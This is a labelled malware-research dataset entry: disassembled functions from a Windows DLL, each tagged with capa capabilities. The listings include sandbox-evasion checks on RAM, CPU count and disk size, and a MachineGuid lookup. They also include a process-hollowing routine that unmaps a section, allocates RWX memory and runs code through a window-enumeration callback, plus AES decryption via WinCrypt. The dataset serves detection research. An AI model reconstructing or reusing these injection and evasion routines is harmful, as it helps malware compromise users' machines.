joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180004cac
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rsi, rcx
mov dword [rbp + 0x7f], 3
xor ebx, ebx
lea rax, [rbp - 0x19]
mov rcx, 0xffffffff80000002
mov qword [rbp - 0x19], rbx
mov r9d, 0x20019
mov dword [rbp + 0x77], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftCryptography
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp - 0x19]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x7f]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea rdx, str.MachineGuid
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x180004d52
lea rdx, str.Failed_to_query_registry_key
lea rcx, [0x180084080]
call fcn.18000d5f4
mov rcx, rax
call fcn.180008750
lea rdx, str.NULL
mov rcx, rsi
call fcn.1800099a8
jmp 0x180004e7e
mov edx, dword [rbp + 0x77]
lea rcx, [rbp + 0xf]
call fcn.1800079cc
lea rcx, [rbp + 0xf]
call fcn.1800030a8
lea rcx, [rbp + 0x77]
xor r8d, r8d
mov qword [rsp + 0x28], rcx
lea r9, [rbp + 0x7f]
mov rcx, qword [rbp - 0x19]
lea rdx, str.MachineGuid
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x180004dc0
lea rdx, str.Failed_to_query_registry_key
lea rcx, [0x180084080]
call fcn.18000d5f4
mov rcx, rax
call fcn.180008750
lea rdx, str.NULL
mov rcx, rsi
call fcn.1800099a8
jmp 0x180004e75
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, dword [rbp + 0x77]
lea rcx, [rbp + 0xf]
call fcn.1800030a8
mov rdx, rax
lea rcx, [rbp - 0x11]
call fcn.1800099f0
lea rdx, [rbp + 0x27]
mov byte [rbp + 0x6f], bl
lea rcx, [rbp - 0x11]
call fcn.180009700
lea rdx, [rbp + 0x2f]
lea rcx, [rbp - 0x11]
mov rbx, qword [rax]
call fcn.180009700
lea rdx, [rbp + 0x37]
mov rdi, rax
lea rcx, [rbp - 0x11]
call fcn.180009794
mov r8, qword [rdi]
lea r9, [rbp + 0x6f]
lea rcx, [rbp + 0x3f]
mov rdx, qword [rax]
call fcn.18000d8d4
mov r9, rbx
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x11]
mov r8, qword [rax]
call fcn.1800097e4
lea rdx, str.Device_ID:
lea rcx, [0x180084080]
call fcn.18000d5f4
mov rcx, rax
lea rdx, [rbp - 0x11]
call fcn.18000d7c0
mov rcx, rax
call fcn.180008750
lea rdx, [rbp - 0x11]
mov rcx, rsi
call fcn.180009968
lea rcx, [rbp - 0x11]
call fcn.180009920
lea rcx, [rbp + 0xf]
call fcn.1800079c4
mov rbx, qword [rsp + 0xb0]
mov rax, rsi
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800054e0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x750]
sub rsp, 0x850
and qword [rbp + 0x778], 0
mov rdi, rcx
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x800
call fcn.18003c560
lea r8, [rbp + 0x778]
mov dword [rbp + 0x770], 0x400
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rcx, qword [rbp + 0x778]
lea rax, [rbp + 0x770]
mov qword [rsp + 0x28], rax
lea rdx, str.ProductName
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.1800094a8
lea rdx, [rbp + 0x780]
lea rcx, [rsp + 0x30]
call fcn.1800092ec
lea rdx, [rbp + 0x788]
mov rbx, rax
lea rcx, [rsp + 0x30]
call fcn.180009340
mov r8, qword [rbx]
mov rcx, rdi
mov rdx, qword [rax]
call fcn.18000ddd0
lea rcx, [rsp + 0x30]
call fcn.180009420
mov rax, rdi
add rsp, 0x850
pop rdi
pop rbx
pop rbp
ret

Function at 0x1800055c0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x140
mov rdi, rcx
mov ebx, 0x100
mov r8d, ebx
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.18003c560
mov r8d, ebx
lea rdx, [rsp + 0x40]
lea rcx, str.USERDNSDOMAIN
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1800094a8
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x20]
call fcn.1800092ec
lea rdx, [rsp + 0x158]
mov rbx, rax
lea rcx, [rsp + 0x20]
call fcn.180009340
mov r8, qword [rbx]
mov rcx, rdi
mov rdx, qword [rax]
call fcn.18000ddd0
lea rcx, [rsp + 0x20]
call fcn.180009420
mov rbx, qword [rsp + 0x160]
mov rax, rdi
add rsp, 0x140
pop rdi
ret

Function at 0x18000565c
Capabilities:
Get hostname

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rdi, rcx
mov dword [rbp + 0x6f], 0x10
lea rcx, [rbp - 0x19]
lea rdx, [0x180078336]
call fcn.1800099a8
lea r8, [rbp + 0x6f]
xor ecx, ecx
lea rdx, [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x1800056f3
lea rdx, [rbp + 0x27]
lea rcx, [rbp - 0x39]
call fcn.1800094a8
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x39]
call fcn.1800092ec
lea rdx, [rbp + 0x7f]
mov rbx, rax
lea rcx, [rbp - 0x39]
call fcn.180009340
mov r8, qword [rbx]
lea rcx, [rbp + 7]
mov rdx, qword [rax]
call fcn.18000ddd0
lea rdx, [rbp + 7]
mov rcx, rdi
call fcn.180009968
lea rcx, [rbp + 7]
call fcn.180009920
lea rcx, [rbp - 0x39]
call fcn.180009420
jmp 0x1800056ff
lea rdx, [rbp - 0x19]
mov rcx, rdi
call fcn.180009968
lea rcx, [rbp - 0x19]
call fcn.180009920
mov rax, rdi
add rsp, 0xa0
pop rdi
pop rbx
pop rbp
ret
Function at 0x180007e1c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rdi, r8
mov rbp, rdx
mov rsi, rcx
test r8, r8
jg 0x180007e43
xor eax, eax
jmp 0x180007f24
cmp qword [rcx + 0x68], 0
je 0x180007e54
call fcn.180008500
jmp 0x180007f24
mov rbx, rdi
mov qword [rsp + 0x50], rbx
call fcn.18000a5a0
mov qword [rsp + 0x58], rax
test rax, rax
je 0x180007eaa
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.180007f38
mov rcx, rsi
mov rbx, qword [rax]
call fcn.18000a62c
mov rdx, rax
mov r8, rbx
mov rcx, rbp
call fcn.18000b664
sub qword [rsp + 0x50], rbx
mov edx, ebx
mov rcx, rsi
add rbp, rbx
call fcn.18000aaa8
mov rbx, qword [rsp + 0x50]
cmp qword [rsi + 0x80], 0
je 0x180007f1e
mov rcx, rsi
call fcn.18000a7ec
mov rbx, qword [rsp + 0x50]
mov r14d, 0xfff
jmp 0x180007ef5
mov r9, qword [rsi + 0x80]
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.18004734c
mov rbx, qword [rsp + 0x50]
add rbp, rax
sub rbx, rax
mov qword [rsp + 0x50], rbx
cmp rax, r14
jne 0x180007f1e
cmp rbx, r14
ja 0x180007ec9
test rbx, rbx
je 0x180007f1e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rbp
call fcn.18004734c
mov rbx, qword [rsp + 0x50]
sub rbx, rax
sub rdi, rbx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x18000b724
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rcx + 4], edx
lea r9, [rcx + 8]
mov r8d, 1
mov r10d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, r8d
inc r8
mov dword [r9], edx
lea r9, [r9 + 4]
cmp r8, r10
jb 0x18000b737
mov dword [rcx], r10d
ret

Function at 0x180010eec
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov rcx, qword [rcx]
jmp 0x180010fb4
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x270
mov rbx, rcx
jne 0x180010fcc
call fcn.180011080
jmp 0x180010fd9
cmp dword [rcx], 0x4e0
jb 0x180010fd9
call fcn.1800110c4
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret

Function at 0x180010fb4
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov rcx, qword [rcx]
jmp 0x180010fb4
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x270
mov rbx, rcx
jne 0x180010fcc
call fcn.180011080
jmp 0x180010fd9
cmp dword [rcx], 0x4e0
jb 0x180010fd9
call fcn.1800110c4
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret
Function at 0x180011080
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
lea r8, [rcx + 8]
mov r9d, 0x270
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x18001108a
ret

Function at 0x1800110c4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
lea r10, [rcx + 0x9c4]
mov r9, rcx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x1800110db
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x180011126
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and dword [r9], ebx
mov rbx, qword [rsp + 8]
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
shr edx, 1
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
ret
Function at 0x180012848
Capabilities:
Accept command line arguments

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax - 0x20], 0
or r9d, 0xffffffff
mov r8, qword [0x180085e00]
xor edx, edx
and qword [rax - 0x28], 0
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, 2
mov ebx, eax
lea ecx, [rax + 1]
movsxd rcx, ecx
call fcn.1800414b8
mov r8, qword [0x180085e00]
or r9d, 0xffffffff
xor edx, edx
mov dword [rsp + 0x28], ebx
mov ecx, 0xfde9
mov qword [0x180085df8], rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [0x180085df8]
lea rdx, [0x180085e28]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, dword [0x180085e28]
xor esi, esi
mov qword [0x180085df0], rax
lea ebx, [rcx*8]
test ecx, ecx
jle 0x18001292c
xor edi, edi
and qword [rsp + 0x38], 0
or r9d, 0xffffffff
and qword [rsp + 0x30], 0
xor edx, edx
and dword [rsp + 0x28], 0
mov ecx, 0xfde9
mov r8, qword [rdi + rax]
and qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc esi
lea rdi, [rdi + 8]
add ebx, eax
cmp esi, dword [0x180085e28]
jge 0x18001292c
mov rax, qword [0x180085df0]
jmp 0x1800128e7
movsxd rdx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
movsxd rdx, dword [0x180085e28]
xor ebp, ebp
mov qword [0x180085de0], rax
lea ecx, [rdx*8]
sub ebx, ecx
lea rsi, [rax + rdx*8]
test edx, edx
jle 0x1800129ac
xor edi, edi
and qword [rsp + 0x38], 0
or r9d, 0xffffffff
mov r8, qword [0x180085df0]
xor edx, edx
and qword [rsp + 0x30], 0
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r8, qword [rdi + r8]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [0x180085de0]
inc ebp
sub ebx, eax
mov qword [rdi + rcx], rsi
lea rdi, [rdi + 8]
movsxd rcx, eax
add rsi, rcx
cmp ebp, dword [0x180085e28]
jl 0x18001295a
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov dword [0x180085de8], 1
add rsp, 0x40
pop rdi
ret

Function at 0x1800129cc
Capabilities:
Parse pe header

Disassembly:
xor edx, edx
test rcx, rcx
je 0x1800129f8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800129f8
cmp dword [rcx + 0x3c], 0x400
jg 0x1800129f8
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
cmovne rax, rdx
ret
xor eax, eax
ret
Function at 0x180012d10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
call fcn.180012848
mov rcx, r14
call fcn.1800129cc
xor esi, esi
mov rdi, rax
test rax, rax
je 0x180012e38
lea edx, [rsi + 5]
call fcn.1800129fc
mov rbx, qword [rdi + 0x30]
lea rcx, str.ntdll.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rdi + 0x30]
or rcx, 0xffffffffffffffff
call rax
mov edx, dword [rdi + 0x50]
lea r9d, [rsi + 0x40]
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180012dc1
test rbp, rbp
je 0x180012e38
mov edx, dword [rdi + 0x50]
lea r9d, [rsi + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180012e38
mov r8d, dword [rdi + 0x54]
mov rdx, r14
mov rcx, rbx
mov qword [rdi + 0x30], rbx
call fcn.18003bd10
cmp si, word [rdi + 6]
jae 0x180012e04
lea rbp, [rdi + 0x11c]
mov edx, dword [rbp]
mov ecx, dword [rbp - 8]
add rdx, r14
mov r8d, dword [rbp - 4]
add rcx, rbx
call fcn.18003bd10
movzx eax, word [rdi + 6]
lea rbp, [rbp + 0x28]
inc esi
cmp esi, eax
jl 0x180012de1
mov rcx, rbx
call fcn.180012a30
mov edx, dword [rdi + 0x28]
xor r8d, r8d
add rdx, rbx
xor ecx, ecx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.USER32.dll_EnumThreadWindows]
xor ecx, ecx
call fcn.1800483cc
int3

Function at 0x180012f00
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
xor edx, edx
mov dword [rsp + 0x20], 0x238
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x180012f62
mov rdx, rsi
lea rcx, [rsp + 0x4c]
call fcn.1800428d0
test eax, eax
je 0x180012f60
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x180012f3b
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x260]
mov al, bl
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180012f84
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
mov rax, rsp
sub rsp, 0xa8
movaps xmmword [rax - 0x18], xmm6
mov dword [rax - 0x58], 0x40
lea rcx, [rax - 0x58]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rsp + 0x58]
xorps xmm6, xmm6
test rcx, rcx
js 0x180012fb7
cvtsi2sd xmm6, rcx
jmp 0x180012fcc
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm6, rax
addsd xmm6, xmm6
call fcn.180014908
divsd xmm6, xmm0
movsd xmm1, qword [0x180079350]
comisd xmm1, xmm6
jbe 0x180013002
lea rdx, str.RAM_is_less.
lea rcx, [0x180084080]
call fcn.18000d5f4
mov rcx, rax
call fcn.180008750
xor al, al
jmp 0x180013039
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x40], 4
jae 0x180013033
lea rdx, str.Processors_count_is_less.
lea rcx, [0x180084080]
call fcn.18000d5f4
mov rcx, rax
call fcn.180008750
xor al, al
jmp 0x180013039
mov al, 1
jmp 0x180013039
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
ret

Function at 0x180013260
Capabilities:
Get disk size

Disassembly:
sub rsp, 0x38
xor r9d, r9d
movaps xmmword [rsp + 0x20], xmm6
xor r8d, r8d
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rcx, qword [rsp + 0x40]
xorps xmm6, xmm6
test rcx, rcx
js 0x180013290
cvtsi2sd xmm6, rcx
jmp 0x1800132a5
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2sd xmm6, rax
addsd xmm6, xmm6
mulsd xmm6, qword [0x180079340]
movsd xmm0, qword [0x180079358]
comisd xmm0, xmm6
jbe 0x1800132bf
xor al, al
jmp 0x1800132f6
lea rdx, str.HDD_Size:
lea rcx, [0x180084080]
call fcn.18000d5f4
mov rcx, rax
movaps xmm1, xmm6
call fcn.18001332c
mov rcx, rax
lea rdx, [0x1800792d0]
call fcn.18000d5f4
mov rcx, rax
call fcn.180008750
mov al, 1
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x180015218
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov dword [rax + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, r9d
mov dword [rax - 0x38], 0xf0000000
mov rdi, r8
mov rsi, rcx
mov r9d, 0x18
lea rcx, [rbp - 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x180015307
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x180015307
mov rcx, qword [rbp - 0x18]
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x180015307
mov r8, qword [rbp - 0x18]
lea rax, [rbp - 0x10]
mov rcx, qword [rbp - 0x20]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x180015307
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x18]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x180015307
mov rcx, qword [rbp - 0x20]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov al, 1
jmp 0x180015309
xor al, al
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
Function at 0x180015498
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov eax, dword [0x180079318]
mov edi, 0x400
movsd xmm0, qword [str.Environment]
mov rbx, rcx
mov dword [rbp + 0xf], eax
mov eax, dword [0x180079330]
mov dword [rbp + 0x27], eax
movzx eax, word [0x180079334]
movsd qword [rbp + 7], xmm0
movups xmm0, xmmword [str.UserInitMprLogonScript]
mov word [rbp + 0x2b], ax
mov al, byte [0x180079336]
mov byte [rbp + 0x2d], al
movups xmmword [rbp + 0x17], xmm0
mov dword [rbp + 0x6f], edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x180015526
xor edx, edx
mov rcx, rbx
call fcn.1800099a8
jmp 0x1800155f9
lea rax, [rbp + 0x6f]
mov r9d, 2
mov qword [rsp + 0x30], rax
lea r8, [rbp + 0x17]
mov qword [rsp + 0x28], rdi
lea rdx, [rbp + 7]
and qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x18001556f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180015517
xor ecx, ecx
cmp byte [rdi], cl
je 0x180015582
mov rax, rdi
inc rax
inc ecx
cmp byte [rax], 0
jne 0x180015578
movsxd r8, ecx
mov rdx, rdi
add r8, rdi
lea rcx, [rbp + 0x2f]
call fcn.1800100b4
xor r8d, r8d
lea rdx, [0x180079338]
lea rcx, [rbp + 0x2f]
call fcn.1800095d4
xor r8d, r8d
lea rdx, str..dll
lea rcx, [rbp + 0x2f]
mov rdi, rax
call fcn.1800095d4
cmp rdi, 0xffffffffffffffff
je 0x1800155e1
cmp rax, 0xffffffffffffffff
je 0x1800155e1
sub rax, rdi
lea rcx, [rbp + 0x2f]
mov r8, rdi
mov rdx, rbx
lea r9, [rax + 4]
call fcn.1800095b4
jmp 0x1800155f0
lea rdx, [0x180078336]
mov rcx, rbx
call fcn.1800099a8
lea rcx, [rbp + 0x2f]
call fcn.180009920
lea r11, [rsp + 0x90]
mov rax, rbx
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x180030478
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x18001beee
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x18001bed1
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x18001bebc
Function at 0x180046220
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
neg rcx
test rax, 7
je 0x18004623d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x180046298
test al, 7
jne 0x180046230
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x180046251
mov rdx, qword [rax - 8]
test dl, dl
je 0x1800462c2
test dh, dh
je 0x1800462bc
shr rdx, 0x10
test dl, dl
je 0x1800462b6
test dh, dh
je 0x1800462b0
shr rdx, 0x10
test dl, dl
je 0x1800462aa
test dh, dh
je 0x1800462a4
shr edx, 0x10
test dl, dl
je 0x18004629e
test dh, dh
jne 0x180046251
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1800483cc
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18004827f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18004827f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18004827f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18004827f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18004827f
cmp dword [rcx + 0x84], 0xe
jbe 0x18004827f
cmp dword [rcx + 0xf8], 0
je 0x18004827f
mov ecx, ebx
call fcn.180048330
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.18004810c
nop
cmp dword [rbp + 0x20], 0
je 0x1800482cd
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800482d8
int3
xor r8d, r8d
xor edx, edx
jmp 0x180048210

Function at 0x18005295c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180052972
mov al, 1
jmp 0x1800529d2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180052983
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1800529d0
mov ecx, dword [rcx + 0x18]
nop
call fcn.18005f0fc
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800529d0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1800529d0
